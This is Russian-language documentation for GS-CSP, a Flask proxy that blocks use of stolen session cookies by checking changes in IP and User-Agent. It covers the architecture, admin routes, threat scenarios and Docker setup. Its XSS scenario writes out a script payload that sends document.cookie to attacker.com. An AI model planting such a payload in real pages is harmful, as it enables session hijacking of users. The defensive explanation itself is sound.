Документация к сервису GS-CSP (Cookie Steal Protection)

Оглавление

Приветствие

Добро пожаловать в документацию по сервису **GS-CSP (Cookie Steal Protection)**. Цель GS-CSP (далее также «система защиты») — защищать веб-приложения от кражи cookie-сессий. Данный сервис разработан как гибкая и расширяемая платформа, которая:

- Модульно перехватывает все HTTP-запросы к вашему приложению,
- Анализирует сессионные данные (cookie) и параметры запроса,
- При выявлении подозрительных изменений (IP, User-Agent и т.д.) блокирует дальнейший доступ,
- Уведомляет пользователя и администраторов о блокировке,
- Позволяет управлять блокировкой, просматривать логи, очищать БД и т.д.

Приложение имеет **открытый исходный код**, легко модифицируется, нацелено на высокую гибкость для интеграции с любыми сторонними сервисами. Ниже про приложение будет рассказано подробнее.

Введение

В современном мире веб-технологий **кража сессий** (cookie stealing) остаётся одним из наиболее серьёзных рисков для веб-приложений. Атаки на сессии могут приводить к компрометации пользовательских аккаунтов, утечке данных, финансовым потерям и повреждению репутации бизнеса. Многие разработчики концентрируются на классических мерах: HTTPS, HttpOnly, Secure, SameSite, но реальность показывает, что при современных векторах атак (XSS, социальная инженерия, вирусы) этих мер бывает недостаточно, поэтому мной принято решение о разработке системы защиты.

Проблематика кражи сессий

1. Опасность кражи сессий

Ключевая проблема в том, что cookie-сессия является «пропуском» к аккаунту, часто даже важнее, чем логин и пароль, ибо не затрагивает процесс авторизации, а предоставляет прямой доступ к аккаунту. Если злоумышленник сумеет заполучить cookie, он фактически идентифицируется системой как легитимный владелец аккаунта. Это означает:

- Возможность просмотра личных данных (адреса, финансы, сообщения и т.д.),
- Совершение действий от лица жертвы (например, отправка писем, заказ услуг, перевод средств),
- Подмена личности (impersonation) в корпоративных системах.

В больших компаниях, у которых десятки сервисов и микросервисов, многие до сих пор считают, что SSL (HTTPS) плюс базовые флаги безопасности — это всё, что нужно для защиты. Но **краденная cookie** остаётся валидной, пока не истечёт срок жизни сессии или не произойдёт принудительный выход пользователя, а достаточно лишь пары секунд нахождения злоумышленника в аккаунте, чтобы скриптом выгрузить персональные данные.

2. Типичные техники похищения cookie

1. **XSS (Cross-Site Scripting)**: один из самых распространённых способов. Злоумышленник внедряет скрипт, который вызывает document.cookie и отправляет данные на сервер злоумышленника.
2. **Социальная инженерия**: пользователю пишут или звонят под видом техподдержки и просят «для проверки» переслать cookie и/или вставить некий код в консоль разработчика. Для людей, незнакомых с понятием сессии, это может показаться безопасным, ведь логин и пароль от аккаунта не передаётся.
3. **Вирусы и трояны**: на рабочей станции жертвы могут быть установлены шпионские программы, которые считывают файлы cookie из браузера.
4. **Некачественная передача данных**: если сайт не использует HTTPS, cookie можно перехватить сетевым анализатором (sniffer).

3. Реальные примеры атак и инцидентов

- **Поддельные формы аутентификации**: на фишинговых сайтах посетителей убеждают ввести данные учётной записи, а также передать cookie.
- **Утечки на форумах**: известные случаи, когда злоумышленники массово собирали cookie через уязвимости форумных движков, получая массовый доступ к аккаунтам.

- **Атаки на корпоративные сети**: при наличии встроенного «вредоноса» на ПК сотрудника, cookie от систем CRM, ERP и почты утекали в руки злоумышленников, давая возможность выдавать себя за сотрудника и выкачивать внутренние данные и влиять на работу компании.
- **Случай Twitter:** когда в одном из старых вариантов сайта Twitter злоумышленники могли перехватить cookie через XSS-уязвимость. Пользователи получали фишинговые ссылки, переходили по ним, а злоумышленники получали их cookie.
- **Telegram:** являясь одним из самых популярных и массовых в мире мессенджеров, web-версия уязвима к краже сессии путём соц. инженерии или вирусной активности, а так же, сессия имеет огромный срок действия, если пользователь не выйдет из аккаунта у себя на устройстве, проблема актуальная даже на сегодняшний день.

4. Недостаточная защита и её последствия

Компании или проекты, которые не внедряют дополнительную проверку на активные сессии, часто оказываются уязвимы:

- Злоумышленник спокойно использует украденную cookie (без ограничения IP/UA).
- Владельцы аккаунтов замечают компрометацию лишь по факту уже совершённых действий (нечаянные переводы, удалённые данные, неправомерный доступ).
- Отсутствие дополнительных триггеров («Логин с нового IP») не даёт быстро понять, что учётная запись взломана.

GS-CSP закрывает эти пробелы, организуя «надстройку» для управления сессиями и их проверкой в реальном времени.

Общее описание GS-CSP

1. Ключевая идея

Основная логика: **перехватывать** все запросы к защищаемому приложению, проверять cookie-сессию по ряду критериев (IP, UA, гео и т.д.) и в случае несоответствия (или при повторном использовании деактивированной сессии) **блокировать**. Благодаря этому:

- Даже если злоумышленник физически получил cookie, он не сможет воспользоваться ей с другого устройства/браузера/локации.
- Администратор может быстро видеть все подозрительные активности, деактивировать сессии, а также анализировать логи.

2. Компоненты системы

- **Flask-приложение (guard_app)**: проксирует HTTP-трафик, хранит информацию в базе данных (SQLite), имеет админ-панель.
- **Файл config.py**: основные настройки, включая TARGET_SERVICE_URL (куда проксировать запросы), секретные ключи и т.д.
- **База данных (protection.db)**: хранит таблицы:
  - sessions (id, session_cookie, IP, UA, username, is_active, blocked_until, ...),
  - logs (история всех событий),
  - settings (настройки блокировки: IP, UA, ban_minutes).
- **Админ-панель**: управляет сессиями, логами, настройками.

3. Гибкость и открытый исходный код

GS-CSP распространяется в открытом виде, что даёт:

1. **Быструю адаптацию**: можно дополнять систему любыми модулями (например, проверка по списку «подозрительных» IP), переделать логику блокировок.
2. **Простую интеграцию**: достаточно указать URL защищаемого сервиса, развернуть Docker-контейнер с GS-CSP и скрыть порт самого приложения из внешней сети.
3. **Масштабирование**: систему легко запустить на нескольких серверах, если нужно обрабатывать большой объём трафика, подключив общий кластер БД.

Принцип работы GS-CSP

1. Роль прокси-сервиса

GS-CSP слушает, к примеру, **80-й порт** (HTTP). Все запросы поступают к нему (так как порт 5000 у уязвимого сервиса не проброшен наружу).
Выполняется следующий цикл:

1. **GS-CSP** принимает запрос, читает cookie session.
2. Сверяет её с БД:
    - Если нет записи — создаёт анонимную сессию (или, если это первый POST на /login, ожидает).
    - Если запись есть — проверяет is_active, blocked_until, IP/UA.
3. При несоответствии (или блокировке) формирует ответ: «Сессия заблокирована», сбрасывает/заменяет cookie.
4. Иначе пересылает запрос на TARGET_SERVICE_URL + request.path.

2. Слежение за сессиями

- Каждая сессия имеет **IP**, **User-Agent**, при необходимости **username** (извлекается из Flask-session защищаемого сервиса) и **color_flags** (red/yellow/orange).
- При любом запросе, если IP/UA не совпадает с записанными, система реагирует согласно настройкам (блокирует или пропускает).
- При успешном логине может обновляться username и выставляться цветовые флаги (например, red — первый вход для данного username).

3. Параметры «подозрительности» и блокировка

GS-CSP позволяет включать/выключать факторы в панели управления или файле **config.py**:

- block_on_ip_change=1/0,
- block_on_ua_change=1/0.

Если включено, любая смена IP/UA приводит к немедленной деактивации сессии и уведомлению пользователя. Дальше пользователь должен заново авторизоваться. Это защищает от сценария, когда злоумышленник пытается использовать cookie с другого устройства или браузера.

4. Механизм временного бана (ban_minutes)

После деактивации сессии, если злоумышленник (или даже владелец, который не знал) снова делает запросы с тем же cookie, GS-CSP может назначить блокировку (ban) на несколько минут. В этот период:

- Любые попытки с тем же cookie возвращают сообщение «Вас заблокировали на N минут».

- Запись в таблице sessions имеет поле blocked_until.
- Когда время бана истечёт, blocked_until обнуляется. Но сессия всё равно **неактивна** (is_active=0).

5. Общий поток запросов: детальный пример

1. **Первый визит**: нет cookie — GS-CSP создаёт anon_abc123..., записывает IP=1.2.3.4, UA=Chrome.
2. **Пользователь логинится**: уязвимый сервис выдал Flask-сессию session=<...>. GS-CSP её «видит», декодирует, узнаёт username='alex'. Записывает username='alex' в БД, возможно устанавливает color_flags='red|yellow|...'.
3. **Дальнейшие запросы**: /notes, /static/... — проксируются без проблем, ведь IP и UA совпадают.
4. **Злоумышленник** похищает cookie, заходя с IP=5.6.7.8, UA=Firefox. GS-CSP проверяет: IP не совпадает, => блокирует. Злоумышленник видит окно о том, что сессия заблокирована и его переносит на login
5. **Повторные попытки**: user_id=alex, cookie те же, но IP/UA всё ещё иной => моментальная блокировка.
6. **Легитимный пользователь** видит сообщение о возможной краже сессии, о том, что злоумышленник не получил доступ к аккаунту и предложении проверить устройство на вирусы, через несколько секунд пользователя перебрасывает на login (предыдущая сессия убита).

Функциональность и особенности реализации

1. Создание и обновление записей о сессиях

- **create_session_record**: если пользователь не имеет session cookie, система создаёт анонимную.
- **update_session_username_and_color_flags**: когда пользователь авторизовался, из декодированной Flask-сессии берём username, сравниваем, устанавливаем цветовые метки (red, yellow, orange) в зависимости от IP/UA встречавшихся ранее.

2. Проверка IP, User-Agent, и прочих факторов

В зависимости от настроек:

- При **изменении IP** (если block_on_ip_change=1), сессия немедленно деактивируется, назначается бан.
- При **изменении UA** (если block_on_ua_change=1), аналогично.
- Дополнительно (возможное расширение) можно проверять **время суток**, **геолокацию**, **браузерные сигнатуры** и т.д.

3. Цветовые флаги (red, yellow, orange)

- **red** означает первую сессию данного username: нет других сессий с таким же username в БД.
- **yellow** означает первый IP, который видит система (т.е. count=0 для IP среди других сессий).
- **orange** означает впервые встреченный User-Agent.

В админ-панели эти флаги подсвечиваются цветом, чтобы админ сразу видел «нового» пользователя, «неизвестный» IP, «неизвестный» браузер.

4. Обработка заблокированных сессий

- **is_active=0**. При любой попытке использовать заблокированную сессию, GS-CSP выдаёт сообщение о блокировке.
- Если отсутствует поле **blocked_until**, оно устанавливается при повторном запросе, чтобы пользователь не «штурмовал сервис», пытаясь «вернуть» старую сессию.
- После окончания бана **blocked_until** сбрасывается, но сама сессия остаётся неактивной.

5. Система логирования

Таблица logs включает:

- **event_type** (REQUEST, RESPONSE, BLOCK, CREATE_SESSION, DEACTIVATE, ...),
- **event_data** (дополнения: IP, path, session_cookie, причина блокировки, ...),

- **log_time** (дата/время).

Это позволяет вести аудит событий, выявлять волны атак и понимать, как часто пользователи сталкивались с блокировками.

6. Админ-панель и настройки

На **/admin**:

- **Список сессий** (с ID, cookie, IP, UA, Active?, BlockedUntil, CreatedAt, UpdatedAt).
- **Деактивация** сессий вручную.
- **Управление настройками** (/admin/manage) – block_on_ip_change, block_on_ua_change, ban_minutes.
- **Очистка БД** (сброс всех сессий и логов).
- **Просмотр логов** (/admin/logs).

7. Интеграция и масштабирование

- **Docker-контейнер**: позволяет быстро развернуть защиту, подцепить к любому приложению, слушающему :5000.
- **Масштабирование**: можно добавить балансировщик нагрузки перед несколькими копиями GS-CSP, если синхронизировать их БД (например, вынести на PostgreSQL).
- **Лёгкая кастомизация**: система написана на Python + Flask, что упрощает добавление собственной логики проверок, например, интеграции с SIEM или Slack-уведомлениями.

Уязвимый сервис (пример для демонстрации)

1. Почему сервис заметок?

Мы взяли **простой сервис заметок** на Flask без какого-либо усложнённого функционала. Это удобный учебный пример, показывающий:

- Как реализованы регистрации/авторизации,
- Как хранится Flask-сессия в cookie,
- Насколько легко внедрить GS-CSP поверх любого приложения.
- Заметки олицетворяют персональные данные пользователя

2. Минимальная функциональность уязвимого сервиса

- **Регистрация**: пользователь вводит логин, пароль, заносится в базу.
- **Авторизация** (/login): при успехе устанавливается cookie Flask-сессии, привязанной к user_id.
- **Добавление заметок** (/notes): каждая заметка привязана к user_id.
- **Выход** (/logout): стирает серверную сессию (но, без GS-CSP, если cookie украдена, злоумышленник мог бы продолжать доступ, пока она не истечёт).

3. Доступность только внутри Docker-сети

Чтобы злоумышленник не мог напрямую обойти GS-CSP, порт 5000 у уязвимого сервиса **не** публикуется наружу. В **docker-compose.yml** мы делаем **expose: 5000** без **ports**:, а для GS-CSP — мапим порт **80** наружу.

4. Основные маршруты уязвимого приложения

- **/login** – форма входа.
- **/register** – форма регистрации.
- **/notes** – просмотр/добавление заметок (требует авторизации).
- **/logout** – выход.
- **/manage** – админ-панель заметок, позволяет видеть, удалять пользователей и просматривать информацию о них (количество заметок).

Основные маршруты GS-CSP

1. /admin - админ-панель

Главная страница админки. Отображает:

- Таблицу «Sessions» с полями (ID, cookie, username, IP, user_agent, color_flags, is_active, blocked_until и т.д.).
- Кнопку «Deactivate» напротив каждой сессии.
- Кнопку «Очистить БД».
- Меню перехода на логи, настройки и т.д.

2. /admin/logs - логи системы

Здесь выводится список всех событий из таблицы logs:

- REQUEST, RESPONSE, BLOCK, CREATE_SESSION, DEACTIVATE_SESSION, и т.д.
- С датой/временем, описанием события, причинами блокировки.

3. /admin/manage - настройки защиты

Форма, где можно:

- Включать/выключать **block_on_ip_change** (1/0),
- Включать/выключать **block_on_ua_change** (1/0),
- Менять **ban_minutes_after_blocked**, указывая время в минутах (>= 0).

Сохранение настроек вызывает событие ADMIN_CHANGE_SETTINGS.

4. /admin/clear_db - очистка базы - функция для дебага и демонстрации

POST-запрос, который:

- Удаляет таблицы sessions, logs, settings.
- Пересоздаёт их по схеме SQL.
- Снова заносит дефолтные настройки (из config.py).
- Логику инициализации можно увидеть в функциях **init_db()**.

5. Проксирование и все остальные маршруты

Любой путь, не начинающийся с **/admin**, трактуется как запрос к защищаемому сервису. Перед проксированием GS-CSP выполняет:

- Проверку cookie,
- Проверку IP/UA (если включено),
- Применение бана и блокировок.

Если всё корректно, запрос передаётся на http://vulnerable_app:5000/<path>.

Подробные сценарии угроз и поведения системы

1. Обычный вход пользователя

1. Пользователь Петя открывает http://<server-ip>/.
2. GS-CSP видит, что у него нет cookie session → создаёт anon_<uuid>, заносит в БД.
3. Петя кликает «Вход», переходит на /login, вводит логин/пароль. Уязвимый сервис выдаёт Set-Cookie: session=<flask_cookie>.
4. GS-CSP декодирует cookie, узнаёт username='petya', обновляет запись сессии.
5. Теперь Петя может ходить на /notes, всё срабатывает без проблем. IP и UA совпадают, блокировки нет.

2. XSS и кража cookie жертвы

1. В сервис заметок внедрили XSS (запись в заметку <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>).
2. Петя открыл страницу со злонамеренной заметкой, cookie (session=...) отправилось злоумышленнику.
3. Злоумышленник пробует тот же cookie на своём компьютере (IP=8.8.8.8, UA=Firefox).
4. GS-CSP: «Подожди, у меня записано IP=1.2.3.4, UA=Chrome. Тут 8.8.8.8/Firefox. Нехорошо → BLOCK».
5. Сессия Пети деактивируется, злоумышленнику выводится страница блокировки.
6. При повторных попытках использовать эту же cookie — ban_minutes не истёк, снова блок.

3. Социальная инженерия: «техподдержка» выманивает cookie

1. Лжеспециалист говорит: «У нас проблема, пропишите в консоли браузера document.cookie и пришлите строку нам».
2. Пользователь, не зная, передаёт cookie злоумышленнику, считая, что его не обманывают, ведь логин или пароль он не передаёт.
3. Злоумышленник пытается воспользоваться ею, GS-CSP фиксирует IP/UA несоответствие и блокирует, пользователя предупреждают об этом.

4. Повторное использование заблокированной сессии

Если злоумышленник упрямо снова отправляет ту же cookie через несколько секунд:

- GS-CSP видит, что **is_active=0**, **blocked_until** ещё не истёк, → «Вы заблокированы на N минут».
- Логирует вторую попытку.

- Cookie не восстанавливается, пользователь вынужден будет пройти полноценный вход снова (со свежей cookie).

5. Случайная смена IP пользователем

Иногда легитимный пользователь меняет сеть (Wi-Fi → 4G). Если **block_on_ip_change=1**, GS-CSP сочтёт это кражей и заблокирует.
Админ может решить отключить **block_on_ip_change**, если предполагаются частые смены IP (мобильные пользователи). Тогда защита по IP не будет работать, но всё ещё можно проверять UA.

6. Смена User-Agent при законном обновлении браузера

Редко, но бывает, что при обновлении браузера User-Agent меняется. Если **block_on_ua_change=1**, GS-CSP тоже заблокирует. Тут решение за админом: либо следовать строгой политике безопасности, либо отключать проверку UA.

Расширение функционала и кастомизация

1. Добавление проверки геолокации

Можно внедрить сервис определения страны IP (GeoIP, MaxMind и т.п.). При неожиданной смене страны выводить предупреждение или сразу блокировать. Это особенно актуально для финансовых организаций, где логин из «другого континента» — верный признак атаки.

2. Анализ поведения и риска

GS-CSP планируется доработать, вводя «риск-оценку» (score). Например:

- При смене IP +10 к риску,
- При резком скачке в геолокации +20,
- При необычной частоте запросов +15,
  и при достижении порога (скажем, 50) — блокировать. Это делает политику более гибкой, чем «просто блок».

3. Предупреждение пользователей

При краже у пользователя сессии и последующей её блокировке, пользователю будет выводиться справка: «Что произошло и что делать в такой ситуации?» В итоге пользователь будет защищён от кражи сессии, как минимум, с помощью социальной инженерии.

4. Добавление «вайтлиста» айпи-адресов пользователя

Если пользователь переключается между wi-fi и мобильной сетью, включает VPN и т.д., часто используемые адреса будут добавляться в **базу доверенных адресов**, при смене IP-адреса между адресами в этой базе, сессия блокироваться не будет

5. Дополнительные методы аутентификации

При подозрительных входах можно настраивать **двухфакторную аутентификацию** (2FA) или выводить Captcha. GS-CSP легко дополняется, т.к. написан на фреймворке Flask с использованием языка python и предоставляет все механизмы для вставки дополнительного шага проверки.

Практические рекомендации для безопасной эксплуатации

1. Регулярный аудит логов

Администратору стоит **ежедневно** или хотя бы **еженедельно** проверять **/admin/logs**, отслеживая:

- Не было ли массовых блокировок?
- Какие IP чаще всего встречаются?
- Есть ли повторные попытки войти под заблокированной сессией?

2. Выбор стратегии блокировки IP

- Если основная часть аудитории — стационарные десктопы (например, корпоративная сеть), то включение **block_on_ip_change=1** очень эффективно.
- Если же аудитория мобильная, находящаяся в пути (частая смена сети, VPN), блокировать по IP может быть слишком жёстко. Тогда можно оставить только **block_on_ua_change**, ввести проверку «прыжков на очень далёкие IP» и/или добавить «вайтлист» адресов (см. раздел «Расширение функционала и кастомизация» п. 4).

3. HTTPS и окружение

Необходимо **использовать HTTPS** (TLS/SSL), чтобы не перехватывали cookie на уровне сети. GS-CSP не решает вопрос шифрования канала, он лишь проверяет целостность и подлинность cookie. В продакшене обычно ставится reverse-proxy (Nginx, Caddy) с HTTPS, который затем передаёт запросы GS-CSP (HTTP).

4. Обновление зависимостей

Убедитесь, что Flask, requests, Docker и другие компоненты регулярно обновляются. Случаи, когда старые версии имели критические баги — нередки. Патчи безопасности важны, чтобы сам GS-CSP не стал уязвимым.

Инструкция по установке и запуску

Ниже приводятся основные шаги. Предполагается, что у вас есть доступ к серверу (Linux) с установленным **Docker** и **docker-compose** (или вы готовы их установить).

1. Запуск через Docker и docker-compose

1. **Установить Docker и docker-compose**:

   sudo apt-get update

   sudo apt-get install docker.io docker-compose -y

2. **Клонировать репозиторий** (примерно так):

   git clone https://github.com/gs1x2/gs-csp.git

   cd gs-csp

3. **Запустить**:

   docker-compose build

   docker-compose up -d

4. **Убедиться**, что запустились два контейнера: vulnerable_app (порт 5000, без публикации наружу) и session_guard (порт 80 наружу).

5. **Открыть в браузере** http://<server-ip>/.

Если всё корректно, вы увидите уязвимое приложение (сервис заметок), но уже пропущенное через GS-CSP. Админка GS-CSP: http://<server-ip>/admin.

2. Установка зависимостей (apt/apt-get/pip3)

Если вы не хотите использовать Docker (менее безопасно):

1. **Установить Python 3.G** (или выше) и pip3:

   sudo apt-get install python3 python3-pip -y

2. **Уязвимый сервис**:

   cd vulnerable_app

   pip3 install -r requirements.txt

   python3 app.py # Запуск на порту 5000

3. **GS-CSP**:

   cd session_guard

   pip3 install -r requirements.txt

   python3 guard_app.py # Запуск на порту 80 (или другой, настраивается в config.py)

4. **Заходите** на http://127.0.0.1:80/ — прокси на уязвимый сервис, если в config.py прописано TARGET_SERVICE_URL="http://127.0.0.1:5000".

3. Ручной запуск на Python без Docker

Это практически то же самое, что пункт (2), но вы регулируете всё вручную (версию Python, пути, virtualenv и т.д.). При желании можно использовать другие сервисы контейнеризации. **Важно убедиться**, что:

- Уязвимый сервис слушает :5000,
- GS-CSP слушает :80 и знает, куда проксировать (vulnerable_app:5000 или 127.0.0.1:5000).
- Порт 5000 наружу закрыт (firewall или маршрутизация).

4. Порядок команд и основные параметры

Пример:

Для docker-окружения:

docker-compose down --volumes --rmi local # Очистка перед установкой

docker-compose build

docker-compose up -d

Просмотр логов:

docker-compose logs -f session_guard

docker-compose logs -f vulnerable_app

Примечание

Если у вас нужны другие порты (не 80, а 8080), меняйте их в **docker-compose**. Параметры банов, блокировок IP/UA настраиваются в **/admin/manage**, остальные параметры в **session_guard/config.py** (Подробнее - ниже).

Конфигурация системы защиты - gs-csp/session_guard/config.py

1. Первичная настройка

В файле настраивается IP и порт уязвимого сервиса и системы защиты, а также секретный ключ. При настройке системы защиты на своём сервисе необходимо указать в значении строки **VULNERABLE_SECRET_KEY** секретный ключ уязвимого сервиса, это необходимо для расшифровки сессии и правильной её обработки.

2. Настройка учётных данных

В системе защиты нет функции регистрации пользователей из соображений безопасности, при необходимости это можно реализовать, но таковой необходимости в данный момент нет. Учётные данные пользователей, имеющих доступ к системе защиты настраиваются в словаре **ADMIN_USERS** в формате **«"user": "pass", "user2": "pass2", …»**

3. Конфигурация

В словаре DEFAULT_SETTINGS содержится конфигурация системы защиты, дублируется страница /admin/manage (Подробнее в «Принцип работы GS-CSP», п. 3,4)

Список используемых библиотек, фреймворков и инструментов

- **Python 3.G+** – язык реализации.
- **Flask** – веб-фреймворк для GS-CSP и для уязвимого приложения.
- **Requests** – библиотека для HTTP-запросов (проксирование).
- **itsdangerous** – декодирование/кодирование Flask-сессий.
- **SQLite** – встроенная СУБД.
- **Docker** – контейнеризация, упрощает развёртывание.
- **docker-compose** – управление многоконтейнерными приложениями.
- **VSCode** (Visual Studio Code) – среда разработки.
- **Ubuntu / Debian / apt** – пример окружения для сервера.
- **Git** – система контроля версий.

Контакты и авторство

Сервис **GS-CSP** разработан **Гольцевым Максимом** (телеграм: @gs1x2).
Демонстрационная версия доступна по адресу: http://109.205.56.148/.

Помните, любая система не идеальна. При возникновении вопросов, предложений, проблем или желания доработать функционал — обращайтесь по указанному контакту.

Заключение

GS-CSP (Cookie Steal Protection) решает критически важную задачу — препятствие несанкционированному использованию краденых сессий. В эпоху, когда XSS, фишинг и вирусная активность продолжают расти, защита cookie становится первостепенной. Стандартные меры (HTTPS, httpOnly) не могут гарантировать безопасность, если cookie попали к злоумышленнику.

GS-CSP:

- Предоставляет **гибкий** механизм блокировки сессий при смене IP, User-Agent и т.д.
- Позволяет **администраторам** оперативно наблюдать за активностью, банить сессии, настраивать время блокировок.
- Обеспечивает **масштабируемую** модель, которую можно легко доработать под специфические требования конкретного бизнеса или приложения.

- Имеет **открытый код**, что означает полную прозрачность и возможность быстрого модифицирования — от правок в логике до сложных систем оценки рисков.

В целом, **GS-CSP** может стать надёжным «фильтром» для любого веб-приложения, требующего строгой безопасности сессий. Он особенно полезен для проектов, где утечка авторизации может привести к серьёзному ущербу: финансовые системы, корпоративные внутренние порталы, социальные площадки, государственные сервисы и т.д.

Рекомендуется регулярно анализировать логи, обновлять зависимости и использовать HTTPS. Надеемся, что данная документация поможет вам развёртывать, эксплуатировать и развивать GS-CSP, обеспечивая дополнительный уровень защиты для ваших пользователей и систем. Мы открыты к любым предложениям.

Примечание

При использовании системы указывать авторство (t.me/gs1x2). Система не является коммерческим продуктом, автор не несёт никакой ответственности за её использование и не даёт никаких гарантий. Представленная по ip-адресу 109.205.56.148/ версия системы предназначена СТРОГО для демонстрации, являясь неким sandbox'ом, где можно проверить работу продукта, автор не несёт ответственности за утечку и целостность персональных данных, размещённых на этом ресурсе.